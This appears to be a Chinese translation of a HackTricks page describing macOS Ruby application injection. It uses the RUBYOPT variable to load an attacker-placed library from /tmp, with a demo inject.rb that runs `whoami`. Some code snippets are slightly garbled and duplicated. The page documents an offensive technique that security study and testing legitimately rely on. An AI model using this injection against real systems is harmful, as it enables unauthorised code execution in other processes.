hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md

3.1 KiB
Raw Blame History

macOS Ruby 应用程序注入

从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)

其他支持 HackTricks 的方式:

RUBYOPT

使用这个环境变量可以在每次执行 ruby添加新的参数。虽然不能使用参数 -e 来指定要执行的 ruby 代码,但可以使用参数 -I-r 来添加一个新的文件夹到库加载路径,然后指定一个要加载的库

/tmp 中创建库 inject.rb

{% code title="inject.rb" %}

puts `whoami`
# hello.rb 内容
puts "Hello, world!"

{% endcode %}

创建一个 Ruby 脚本,例如:

{% code title="hello.rb" %}

puts "Hello, world!"

{% endcode %}

puts 'Hello, World!'
然后使用以下命令加载一个任意的ruby脚本
RUBYOPT="-I/tmp -rinject" ruby hello.rb

趣事,即使使用参数 --disable-rubyopt 也能工作:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式